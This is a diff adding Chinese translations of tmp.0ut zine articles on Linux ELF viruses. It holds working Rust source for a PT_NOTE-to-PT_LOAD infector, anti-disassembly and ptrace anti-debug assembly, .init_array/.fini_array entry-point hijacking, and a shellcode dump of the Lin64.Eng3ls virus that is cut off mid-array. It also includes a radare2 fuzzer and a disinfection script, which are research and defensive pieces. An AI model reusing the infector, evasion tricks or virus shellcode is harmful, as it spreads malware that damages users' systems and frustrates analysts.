+====[ 结语 ]================================================================
+
+这是一个非常有趣的项目!我学到了很多关于Rust、ELF和病毒的知识。感谢tmp.out的netspooky、
+sblip、TMZ和其他人教导我、帮助我调试并激励我完成这个项目 <3
+
+其他链接:
+- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
+- http://www.skyfree.org/linux/references/ELF_Format.pdf
+- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
+- https://github.com/d3npa/mental-elf
+
+源代码如下:
+
+------------------------------------------------------------------------------
+ Cargo.toml
+------------------------------------------------------------------------------
+
+[package]
+...
+
+[dependencies.mental_elf]
+git = "https://github.com/d3npa/mental-elf"
+rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"
+
+------------------------------------------------------------------------------
+ main.rs
+------------------------------------------------------------------------------
+
+use mental_elf::elf64::constants::*;
+use std::{env, fs, process};
+use std::io::prelude::*;
+use std::io::SeekFrom;
+
+fn main() -> Result<(), Box<dyn std::error::Error>> {
+ let args: Vec<String> = env::args().collect();
+ if args.len() != 3 {
+ eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
+ process::exit(1);
+ }
+
+ let elf_path = &args[1];
+ let sc_path = &args[2];
+
+ // 以RW权限打开目标ELF文件
+ let mut elf_fd = fs::OpenOptions::new()
+ .read(true)
+ .write(true)
+ .open(&elf_path)?;
+
+ // 从文件加载shellcode
+ let mut shellcode: Vec<u8> = fs::read(&sc_path)?;
+
+ // 解析ELF和程序头
+ let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
+ let mut program_headers = mental_elf::read_elf64_program_headers(
+ &mut elf_fd,
+ elf_header.e_phoff,
+ elf_header.e_phnum,
+ )?;
+
+ // 修补shellcode,使其在完成后跳转到原始入口点
+ patch_jump(&mut shellcode, elf_header.e_entry);
+
+ // 将shellcode附加到目标ELF的最末尾
+ elf_fd.seek(SeekFrom::End(0))?;
+ elf_fd.write(&shellcode)?;
+
+ // 计算用于修补ELF和程序头的偏移
+ let sc_len = shellcode.len() as u64;
+ let file_offset = elf_fd.metadata()?.len() - sc_len;
+ let memory_offset = 0xc00000000 + file_offset;
+
+ // 寻找PT_NOTE段
+ for phdr in &mut program_headers {
+ if phdr.p_type == PT_NOTE {
+ // 转换为PT_LOAD段,设置值以加载shellcode
+ println!("Found PT_NOTE section; converting to PT_LOAD");
+ phdr.p_type = PT_LOAD;
+ phdr.p_flags = PF_R | PF_X;
+ phdr.p_offset = file_offset;
+ phdr.p_vaddr = memory_offset;
+ phdr.p_memsz += sc_len as u64;
+ phdr.p_filesz += sc_len as u64;
+ // 修补ELF头以从shellcode开始
+ elf_header.e_entry = memory_offset;
+ break;
+ }
+ }
+
+ // 将更改提交到程序和ELF头
+ mental_elf::write_elf64_program_headers(
+ &mut elf_fd,
+ elf_header.e_phoff,
+ elf_header.e_phnum,
+ program_headers,
+ )?;
+ mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;
+
+ Ok(())
+}
+
+fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
+ // 将entry_point存储在rax中
+ shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
+ shellcode.extend_from_slice(&entry_point.to_ne_bytes());
+ // 跳转到rax中的地址
+ shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
+}
+
+------------------------------------------------------------------------------
+------------------------------------------------------------------------------
+
+
+
\ No newline at end of file
diff --git a/1/zh/4.html b/1/zh/4.html
new file mode 100644
index 0000000..6cf4c89
--- /dev/null
+++ b/1/zh/4.html
@@ -0,0 +1,166 @@
+
+
+tmp.0ut
+
+
+
+
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+PT_NOTE 清除工具 │ █ │
+~ manizzle └───────────────────█ ──┘
+
+大家好。首先声明,我不是杀毒软件开发者。杀毒软件很糟糕,它们有bug而且通常容易被利用。
+请随意对lief和capstone进行模糊测试。我相信它们有bug。现在让我们来谈谈如何清除感染...
+
+PT_NOTE注入技术非常干净,它提供了一个现成的内存槽来填充有效载荷。但是对于所有的感染技术,
+通常都会有相应的清除技术。这就是生活的本质。
+
+我喜欢用清除的难易程度来衡量一个感染技术的好坏。清除技术中的常量越多,它就越容易被破解。
+猫鼠游戏不断进行,这也是开发越来越隐蔽的病毒的唯一方法。不断与自己较量,你的病毒就会成为
+令人疯狂和惊叹的存在。
+
+在这个清除工具中,我们利用了大多数病毒会尝试将PT_NOTE段加载到尽可能远的地方的事实,因为
+如果二进制文件很大,它们会试图确保有效载荷不会被覆盖并导致二进制文件加载问题,毕竟你得保持
+隐蔽对吧?
+
+我们使用K均值算法来开始并将PT_LOAD段聚类在一起,我们使用聚类相对于其质心的惯性来衡量K均值
+的效果。通常情况下,一个感染只会感染1个PT_NOTE,但也许sblip之后会告诉你,有时候会有2个 :)
+
+ if (math.log(cluster_1.inertia_)/math.log(cluster_2.inertia_)) < INERTIA_RATIO:
+
+一旦我们发现了哪些段似乎被映射得比平常远一些(当然,如果你想把PT_NOTE映射到有效PT_LOAD之间
+并重新定位整个镜像,我是说,谁会做这种事呢?),我们就可以开始深入研究它的代码。
+
+通常这些病毒会做更多的蠕虫式感染,感染更多的文件,但在某个时候它们需要让程序继续执行,你
+知道的,为了避免引起怀疑。我们可以假设跳转到原始入口点发生在被感染的PT_NOTE段的末尾,所以
+我们在那里寻找。
+
+有时跳转是直接的,有时是派生的。我们只需要跟踪跳转目标,直到它将OEP(原始入口点)添加到之前
+计算的基址(如果你想变得更花哨,你总可以使用use-def链,但当然病毒也可以变得更花哨,强迫你
+跨函数边界解析你的链,天啊!)
+
+ add {target}, CONST
+
+把它放回你的PHDR,你就回到正轨了。
+
+祝你下次好运,朋友!
+
+##################################################################
+
+#!/usr/bin/env python3
+
+from capstone import *
+from collections import Counter
+import lief
+import math
+import numpy as np
+from sklearn.cluster import KMeans
+import sys
+
+# 别做反逆向工程的傻瓜
+SUCKER_PUNCH = 3
+# 在一些大小二进制文件上测试过
+# 大多数正常二进制文件的值在1.0几的范围内
+# 即使是几兆字节的大文件也是如此。我相信我们能找到
+# 能打破它的东西
+INERTIA_RATIO = 1.1
+
+def find_anomalous_load_segment(segment_ranges):
+ segment_array = np.array(segment_ranges)
+ cluster_2 = KMeans(n_clusters=2, random_state=0).fit(segment_array)
+ cluster_1 = KMeans(n_clusters=1, random_state=0).fit(segment_array)
+ if (math.log(cluster_1.inertia_)/math.log(cluster_2.inertia_)) < INERTIA_RATIO:
+ print("未检测到异常")
+ return None
+ cluster_counts = {v:k for k,v in Counter(cluster_2.labels_.tolist()).items()}
+ if 1 not in cluster_counts:
+ print("未找到单一聚类")
+ return None
+ return segment_array[np.where(cluster_2.labels_ == cluster_counts[1])[0]][0]
+
+
+def find_oep(segment_bytes, segment_start):
+ # 我们目前支持x64-64,但这可以很容易地移植到
+ # 其他架构。在这里使用IR会很酷,
+ # 这样就可以跨平台了
+ md = Cs(CS_ARCH_X86, CS_MODE_64)
+ md.skipdata = True
+ oep = None
+ last_jump = None
+ early_bail = 0
+ for r in [instr for instr in md.disasm(segment_bytes, segment_start)][::-1]:
+ if last_jump:
+ # 如果我们看到形如
+ # add {target}, CONST
+ # 的指令,我们可能是在将OEP添加到基地址
+ # 我们可以通过实际构建一个真正的use-def链
+ # 并在这里解出rax的实际值来使这更通用。
+ # 这需要找到像get_rip这样的函数,
+ # 它们被用来使相对代码的跳转更容易
+ if last_jump + ", " in r.op_str and "add" == r.mnemonic.strip():
+ try:
+ oep = int(r.op_str.split(",")[1].strip(), 16)
+ break
+ except Exception as e:
+ # 继续,但现在不太可能找到它
+ # 再试几次,但不要太多
+ # 你不想被一些反逆向工程技术耍了
+ early_bail += 1
+ if early_bail == SUCKER_PUNCH:
+ break
+ continue
+ if not last_jump and r.mnemonic.strip() == "jmp":
+ target = r.op_str.strip()
+ # 尝试看看跳转是否直接发生
+ # 然后将该值作为OEP
+ try:
+ oep = int(target, 16)
+ break
+ except Exception as e:
+ # 如果不是,它可能是一个寄存器跳转
+ oep = None
+ last_jump = target
+ return oep
+
+def main():
+ l = lief.parse(sys.argv[1])
+ load_segs = [ [ll.virtual_address, ll.virtual_address + ll.virtual_size]
+ for ll in l.segments
+ if ll.type == lief.ELF.SEGMENT_TYPES.LOAD
+ ]
+ anomalous_segment_start, anomalous_segment_end = find_anomalous_load_segment(load_segs)
+ segment_bytes = l.get_content_from_virtual_address(anomalous_segment_start, anomalous_segment_end)
+ real_oep = find_oep(bytes(segment_bytes), anomalous_segment_start)
+ print("找到OEP: ", hex(real_oep))
+ l.header.entrypoint = real_oep
+ l.write(sys.argv[1] + ".cleaned")
+
+if __name__ == "__main__":
+ main()
+
+
\ No newline at end of file
diff --git a/1/zh/5.html b/1/zh/5.html
new file mode 100644
index 0000000..5572126
--- /dev/null
+++ b/1/zh/5.html
@@ -0,0 +1,163 @@
+
+
+tmp.0ut
+
+
+
+
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+用约30行代码对Radare2进行模糊测试寻找0day漏洞 │ █ │
+~ Architect & S01den └───────────────────█ ──┘
+
+--- 摘要 ---
+
+Radare2是一个著名的开源逆向工程和二进制分析框架。
+
+这类工具在漏洞研究方面非常有趣,因为它们被用于恶意软件分析等领域。
+
+在本文中,我们将解释如何通过编写自己的"笨拙"模糊测试器并进行一些逆向工程,从零开始发现
+两个漏洞(CVE-2020-16269和CVE-2020-17487)。
+
+在第一部分,我们将解释如何对radare2进行模糊测试;在第二部分,我们将以ELF相关的漏洞
+(CVE-2020-16269)为例,说明如何使用模糊测试发现的崩溃来分析、隔离和复现漏洞。
+
+--- 模糊测试 ---
+
+为了找到这两个漏洞,我们对目标进行了简单的模糊测试。在进行简单模糊测试时,关键因素是
+拥有代码覆盖率多样化的语料库。
+
+我们选择使用Radare2的testbins仓库[0]。
+
+在模糊测试期间,我们在30分钟内就发现了崩溃,涉及多种不同的文件格式。其中,对我们来说
+最有趣的是PE和ELF,这是两种最常用的可执行文件格式。
+
+不多说了,这里是我们的模糊测试器的精简版本。
+
+----------------------------------- 分割线 -------------------------------------
+import glob;import random;import subprocess;import hashlib
+
+def harness(d):
+ tf = open("wdir/tmp", "wb")
+ tf.write(d)
+ tf.close()
+ try:
+ p = subprocess.run(['r2','-qq', '-AA','wdir/tmp'], stdin=None, timeout=10)
+ except:
+ return
+ try:
+ p.check_returncode()
+ except:
+ print(f"进程以代码{p.returncode}退出")
+ fh = hashlib.sha256(d).hexdigest()
+
+ dump = open(f'cdir/crash_{fh}', 'wb')
+ dump.write(d);dump.close()
+
+def mutate(data):
+ mutable_bytes = bytearray(data)
+ for a in range(10):
+ r = random.randint(0, len(mutable_bytes)-1)
+ mutable_bytes[r] = random.randint(0,254)
+
+ return mutable_bytes
+
+if __name__ == '__main__':
+ fs = glob.glob("corpus/*")
+ while True:
+ f = open(random.choice(fs), 'rb').read()
+ harness(mutate(f))
+----------------------------------------------------------------------------------
+
+--- 漏洞利用 ---
+
+有了几个能让Radare2崩溃的样本,让我们来看看崩溃的原因。
+
+第一个是ELF文件,是dwarftest的变异版本,dwarftest是一个包含DWARF信息的样本文件。
+
+==================================================================================
+$ file dwarftest
+---> dwarftest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
+linked, ...,with debug_info, not stripped
+==================================================================================
+
+要找出触发漏洞的字节,我们使用调试器分析在Radare2中加载的问题样本。
+
+另外,也可以通过对比原始样本和变异样本来找到问题字节。
+
+我们可以使用radiff2轻松完成这项工作:
+==================================================================================
+$ radiff2 bins/src/dwarftest mutated_dwarftest
+0x000010e1 00 => 01 0x000010e1
+==================================================================================
+
+文件中的这个偏移是DWARF结构的一部分。这仅适用于已经附加了DWARF信息的二进制文件,但我们
+应该能够制作格式错误的DWARF信息并将其注入到任何ELF文件中。
+
+要弄清楚为什么我们的DWARF信息会让Radare2不高兴,我们可以用objdump看看:
+==================================================================================
+$ objdump --dwarf=info mutated_dwarftest
+...
+ <4c> DW_AT_name :objdump: WARNING: the DW_FORM_strp shift is too
+ large: 164 (indirect string, shift: 0x164): <shift too large>
+...
+==================================================================================
+
+好了,我们差不多完成了。
+
+现在,只需要看看如何利用它。为此,我们只需要用gdb查看崩溃的回溯,然后分析触发漏洞的
+函数的源代码(幸运的是radare2是一个开源项目)。
+
+有问题的代码行在parse_typedef函数中:
+==================================================================================
+name = strdup (value->string.content);
+==================================================================================
+
+当复制的字符串为NULL时,这会触发空指针解引用,不详细说明的话,我们通过逆向工程的禁忌
+力量发现,当DW_AT_name中的偏移太大时就会出现这种情况。
+
+现在,是时候编写一个脚本,可以修改任何ELF文件来触发这个漏洞了。在附录中,你可以找到
+完整的漏洞利用代码,其中包含PE漏洞的利用(CVE-2020-17487,它也只是让radare2无法加载
+二进制文件)。
+
+--- 结论 ---
+
+我们希望你喜欢这篇文章。
+
+现在,你知道在广泛使用的工具中找到漏洞并不那么难。所以现在,试着自己去寻找(尤其是在
+逆向工程工具中)!
+
+即使漏洞除了DoS之外无法利用,在加载二进制文件时使逆向工程工具崩溃仍然是有用的...
+
+--- 注释和参考文献 ---
+
+[0] https://github.com/radareorg/radare2-testbins
+
+--- 附录 ---
+
+- 漏洞利用概念验证
+
\ No newline at end of file
diff --git a/1/zh/6.html b/1/zh/6.html
new file mode 100644
index 0000000..1118262
--- /dev/null
+++ b/1/zh/6.html
@@ -0,0 +1,229 @@
+
+
+tmp.0ut
+
+
+
+
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+多态假反汇编技术 │ █ │
+~ S01den └───────────────────█ ──┘
+
+由S01den(来自tmp.out团队)用爱创作!
+邮箱:S01den@protonmail.com
+
+--- 引言 ---
+
+当我在编写Lin32.Bakunin[0]时,我在思考如何让它比仅仅是一个用MIPS汇编编写的打印无聊内容的
+病毒更有趣。我只是想让逆向工程师感到烦恼。于是,我想起了我在一些crackme中实现的假反汇编
+技术。
+
+因为多态性很酷,我想弄清楚是否可以通过某种方式将它与假反汇编结合起来创造出有趣的东西。
+
+答案是肯定的,我称这个技巧为"多态假反汇编"或简称"假多态"(我不知道这是否是一个新技术)。
+
+--- 假反汇编是如何工作的? ---
+
+这个技术在理解和实现上都非常直接。
+我是在Silvio Cesare[1]关于Linux反调试和逆向技术的著名论文中发现它的。
+你只需要在你的汇编代码前放置一些通常会开始一条指令的字节,像这样:
+
+-------------------- 分割线 --------------------
+hey: hey:
+ xor %rbx, %rbx .ascii "\x48\x31"
+ jmp yo ====> xor %rbx, %rbx
+ jmp yo
+---------------------------------------------------
+
+现在,如果我们看这两段代码的反汇编结果,会看到类似这样的内容(使用radare2):
+
+-------------------- 分割线 --------------------
+;-- hey:
+0x00401002 4831db xor rbx, rbx
+0x00401005 eb02 jmp 0x401009
+
+ ||
+ \/
+;-- hey:
+0x00401002 48314831 xor qword [rax + 0x31], rcx
+0x00401006 dbeb fucomi st(3)
+0x00401008 026631 add ah, byte [rsi + 0x31]
+
+---------------------------------------------------
+
+为什么反汇编器会这样表现?
+
+好吧,\x48\x31通常会开始一个xor指令[2],后面的字节通常定义我们操作的寄存器。
+
+所以这些"初始化"字节会粘附到后面的字节,而这些后续字节本身也是"初始化"字节,反汇编器
+会将它们解释为"寄存器"字节,并显示垃圾内容而不是我们想要的指令!
+
+因此,要能够执行这样的代码,你必须跳过你刚刚放置的字节。
+你应该得到类似这样的结果:
+
+-------------------- 分割线 --------------------
+_start:
+jmp hey+2
+
+hey:
+ .ascii "\x48\x31"
+ xor %rbx, %rbx
+ jmp yo
+---------------------------------------------------
+
+--- 完整代码 ---
+
+现在,想象一下,如果你可以在每次执行或感染时随机改变造成假反汇编的字节,反汇编的代码也会
+改变,逆向工程师会认为代码是多态的,而实际上只有几个字节在真正改变...
+
+现在,不多说了,这是完整的代码。
+
+----------- 分割线 -----------
+# 构建命令: as Linux.FakePolymorphism.asm -o fakePoly.o ; ld fakePoly.o -o fakePoly
+
+# 这段代码是一个假多态的示例,随意尝试/使用/随便做什么!
+# 它获取自己的代码,修改假反汇编字节并将结果放在栈上。
+
+.text
+ .global _start
+
+_start:
+jmp true_start+2 # 跳过假反汇编字节
+
+true_start:
+.ascii "\x48\x31" # 假反汇编字节
+xor %rbx, %rbx
+jmp get_code+2 # 跳过假反汇编字节
+
+get_code:
+ .ascii "\x66\x31" # 假反汇编字节
+ call get_rip
+ sub $0x10 ,%rax # 0x10是_start和这条指令之间的字节数
+ movb (%rax,%rbx), %al
+ movb %al, (%rsp,%rbx)
+ inc %rbx
+ cmp $0x54, %rbx # 0x54是这段代码的总大小
+ jne get_code+2
+
+ # 使用时间戳计数器的伪随机数生成
+ rdtsc
+ xor $0xdead, %rax
+ mov %ax, 2(%rsp)
+ xor $0xbeef, %rdx
+ mov %ax, 9(%rsp)
+
+ mov $60, %rax
+ mov $0, %rdi
+ syscall # sys_exit
+
+get_rip:
+ mov (%rsp), %rax
+ ret
+----------------------------
+
+-- 结论 --
+
+我希望你喜欢这篇文章,并且会尝试在你的crackme或病毒中实现这个技术!
+
+我和sblip写了一个使用这个技术来混淆其解密器的多态病毒(Lin64.Eng3ls,查看论文和代码!)。
+
+解密器的代码:
+------- 分割线 -------
+ pop rcx
+ jmp jmp_over+2
+ jmp_over:
+ db `\x48\x31` ; 假反汇编
+ mov al,0x00
+ xor rdx, rdx
+
+ decoder:
+ jmp jmp_over2+2
+
+ jmp_over2:
+ db `\xb8\xd9` ; 假反汇编
+ mov dl, byte [r12+rdi]
+ cmp rdi, STUB_SIZE-1
+ jna no_decrypt
+
+ jmp jmp_over3+2
+ jmp_over3:
+ db `\x48\x81` ; 假反汇编
+ xor dl, al
+
+ no_decrypt:
+ mov byte [rbx+rdi], dl
+ inc rdi
+ loop decoder
+-------------------------
+
+这里是一些被感染二进制文件中反汇编[3]的解密器,让我们看看这个技巧的效果:
+
+1.
+ 0x0c003f46 59 pop rcx
+ 0x0c003f47 eb02 jmp 0xc003f4b
+ 0x0c003f49 00d6 add dh, dl
+ 0x0c003f4b b06d mov al, 0x6d
+ 0x0c003f4d 4831d2 xor rdx, rdx
+ 0x0c003f50 eb02 jmp 0xc003f54
+ 0x0c003f52 1aca sbb cl, dl
+ 0x0c003f54 418a143c mov dl, byte [r12 + rdi]
+ 0x0c003f58 4881ff870000. cmp rdi, 0x87
+ 0x0c003f5f 7606 jbe 0xc003f67
+ 0x0c003f61 eb02 jmp 0xc003f65
+ 0x0c003f63 c0d630 rcl dh, 0x30
+ 0x0c003f66 c28814 ret 0x1488
+ 0x0c003f69 3b48ff cmp ecx, dword [rax - 1]
+ 0x0c003f6c c7 invalid
+ 0x0c003f6d e2e1 loop 0xc003f50
+
+2.
+ 0x0c003fe6 59 pop rcx
+ 0x0c003fe7 eb02 jmp 0xc003feb
+ 0x0c003fe9 ce invalid
+ 0x0c003fea 0ab0a34831d2 or dh, byte [rax - 0x2dceb75d]
+ 0x0c003ff0 eb02 jmp 0xc003ff4
+ 0x0c003ff2 39cb cmp ebx, ecx
+ 0x0c003ff4 418a143c mov dl, byte [r12 + rdi]
+ 0x0c003ff8 4881ff870000. cmp rdi, 0x87
+ 0x0c003fff 7606 jbe 0xc004007
+ 0x0c004003 0e invalid
+ 0x0c004004 0a30 or dh, byte [rax]
+ 0x0c004006 c28814 ret 0x1488
+ 0x0c004009 3b48ff cmp ecx, dword [rax - 1]
+ 0x0c00400c c7 invalid
+ 0x0c00400d e2e1 loop 0xc003ff0
+
+结果与原始代码有很大的不同。
+
+--- 注释和参考文献 ---
+[0] https://vx-underground.org/papers/VXUG
+ /Exclusive/Bakounin/Writing_virus_in_MIPS_assembly_for_fun.txt
+[1] http://www.ouah.org/linux-anti-debugging.txt // Silvio的论文
+[2] https://www.felixcloutier.com/x86/xor
+[3] 使用radare2
+
\ No newline at end of file
diff --git a/1/zh/7.html b/1/zh/7.html
new file mode 100644
index 0000000..337e605
--- /dev/null
+++ b/1/zh/7.html
@@ -0,0 +1,266 @@
+
+
+tmp.0ut
+
+
+
+
+
+ ┌───────────────────────┐
+ ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
+ │ █ █ █ █ █ █ │
+ │ █ █ █ █ █▀▀▀▀ │
+ │ █ █ █ █ ▄ │
+ │ ▄▄▄▄▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄ ▄ │
+ │ █ █ │
+ │ █ █ │
+ │ █▄▄▄█ │
+ │ ▄▄▄▄▄ │
+ │ █ │
+Lin64.Eng3ls:Linux病毒中的一些反逆向工程技术 │ █ │
+~ S01den & sblip └───────────────────█ ──┘
+
+由S01den用爱创作。
+邮箱:S01den@protonmail.com
+
+--- 引言 ---
+
+我和Sblip在一个周末为一个私人活动开发了Lin64.Eng3ls。
+Eng3ls基本上是Lin64.Kropotkine[0]的改进版本,感染方法仍然是使用相同的
+PT_NOTE到PT_LOAD段转换,但我们添加了一些混淆技术。
+
+事实上,Kropotkin完全不具备隐蔽性:被感染二进制文件的入口点被直接修改为
+指向病毒,而且病毒代码是明文的(所以很容易分析...)。
+
+为了解决这些问题,我们为病毒主体制作了一个寡态xor解密器/加密器(我知道这
+不是很fancy...),密钥在每个新感染的二进制文件中都会改变,这样每个复制的
+代码都是不同的。
+
+然而,这种穷人版的多态性有一个很大的缺点,就是解密器的代码不会改变。
+
+因此,如果没有更多的巫术,逆向工程师会很快理解病毒是如何加密的,以及它做
+什么。
+
+这就是为什么我第一次在我的病毒中实现了多态假反汇编技术(或简称"假多态"),
+以混淆解密器。
+
+查看我写的关于这个技术的论文,看看它是如何工作的以及结果如何!
+(基本上就是翻到杂志的下一页)
+
+但仍然存在一个问题:被感染二进制文件的入口点直接指向病毒,这一点都不隐蔽!
+让我们看看我们是如何解决这个问题的...
+
+--- ELF的入口点混淆技术 ---
+
+/!\ 这个技术不适用于PIE二进制文件 /!\
+
+入口点混淆简单来说就是病毒隐藏其第一条指令地址的行为。
+
+在非EPO病毒中,被感染程序的入口点被修改为指向病毒的开始,而在EPO病毒中,
+病毒是通过其他方式被调用的,无论是通过在宿主代码中隐藏一个跳转,还是像这里
+一样,利用可执行文件格式的特性。
+
+在ELF中,入口点实际上不是程序运行时执行的第一个地址。
+
+有一些glibc初始化例程,最终会加载main()。
+
+我不会详细解释它是如何工作的,已经有一篇很酷的论文[1]讲述了这个。
+只需要记住我们将劫持.init_array和.fini_array段,它们分别包含指向二进制
+文件的构造函数和析构函数的指针。
+
+因此,位于.init_array中的代码地址在入口点之前执行。这正是我们想要的!
+
+我首先选择实现一个小型的反调试技术,一个ptrace检查来查看当前进程是否被跟踪
+(所以是被调试或straced)。
+经典的"if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
+很容易绕过(修补病毒或在gdb中在比较时设置rax = 0)...
+所以我让它变得"困难"(其实也不是很难)检测!
+
+------------------------- 分割线 --------------------------------------------------
+check_dbg:
+ push rbp
+ mov rbp, rsp
+
+ jmp jmp_over4+2
+ jmp_over4:
+ db `\x41\xba` ; 假反汇编
+ mov rax, 101 ; sys_ptrace
+ xor rdi, rdi ; PTRACE_TRACEME
+ xor rsi, rsi
+ xor r10, r10
+ xor rdx, rdx
+ inc rdx
+ jmp jmp_over6+2
+ jmp_over6:
+ db `\xe9\x94` ; 假反汇编
+ syscall
+
+ jmp jmp_over5+2
+ jmp_over5:
+ db `\x49\x81` ; 假反汇编
+ cmp rax, 0
+ jge continue
+ mov rax, 60
+ xor rdi, rdi
+ syscall
+
+ continue:
+ pop rbp
+ ret
+-------------------------------------------------------------------------------------
+
+我在例程中写入了一些假反汇编字节(在每次新感染时都会改变),并通过滥用
+.init_array使其在main()之前被调用。
+因此,如果被调试,病毒会停止执行,即使在入口点设置了断点。
+
+关于病毒本身,我让它在最后通过滥用.fini_array被调用。
+这里是我写的用于解析节头表以搜索.init_array和.fini_array,以及修补它们的
+例程。
+
+------------------------- 分割线 --------------------------------------------------
+parse_shdr:
+ xor rcx, rcx
+ xor rdx, rdx
+ mov cx, word [rax+e_hdr.shnum] ; rcx = 程序头表中的条目数
+ mov rbx, qword [rax+e_hdr.shoff] ; rbx = 程序头表的偏移量
+ mov dx, word [rax+e_hdr.shentsize] ; rdx = 程序头表条目的大小
+
+ loop_shdr:
+ add rbx, rdx
+ dec rcx
+ cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY,我们要修改的
+ ; 段,用于放置调试检查(.init_array)
+ je ctor_found
+ cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY,我们要修改的
+ ; 段,用于EPO(.fini_array)
+ je dtor_found
+ cmp rcx, 0
+ jg loop_shdr
+
+dtor_found:
+ mov rdi, qword [rax+rbx+e_shdr.offset]
+ mov [rax+rdi], r9 ; r9保存转换段的地址,我们在这里写入病毒
+ jmp write_vx
+
+ctor_found:
+ mov rdi, qword [rax+rbx+e_shdr.offset]
+ add r9, 0x86 ; r9+0x86 = check_dbg开始的地址
+ mov [rax+rdi], r9
+ sub r9, 0x86
+ jmp loop_shdr
+-------------------------------------------------------------------------------------
+
+--- 结论 ---
+
+入口点修改是很糟糕的,应该使用入口点混淆技巧,比如.init_array或.fini_array
+劫持。
+
+添加一些有趣的反RE技巧来为你的病毒增添趣味:这里加一点加密,那里加一勺调试器
+检测...
+
+我希望你喜欢这篇文章,并且学到了一些东西。
+
+如果你想更深入地了解,我写了一个使用与eng3ls相同的反逆向工程技术的crackme。
+
+在这里查看:https://crackmes.one/crackme/6049f27f33c5d42c3d016dea
+
+--- 附加内容 ---
+
+我写了一个无空字节版本的病毒。
+无空字节代码 + 位置无关 = shellcode \o/
+所以这里是病毒的shellcode版本:
+
+unsigned char shellcode[] =
+ "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
+ "\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
+ "\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
+ "\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
+ "\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
+ "\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
+ "\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
+ "\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
+ "\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
+ "\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
+ "\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
+ "\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
+ "\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
+ "\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
+ "\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
+ "\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
+ "\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
+ "\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
+ "\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
+ "\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
+ "\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
+ "\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
+ "\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
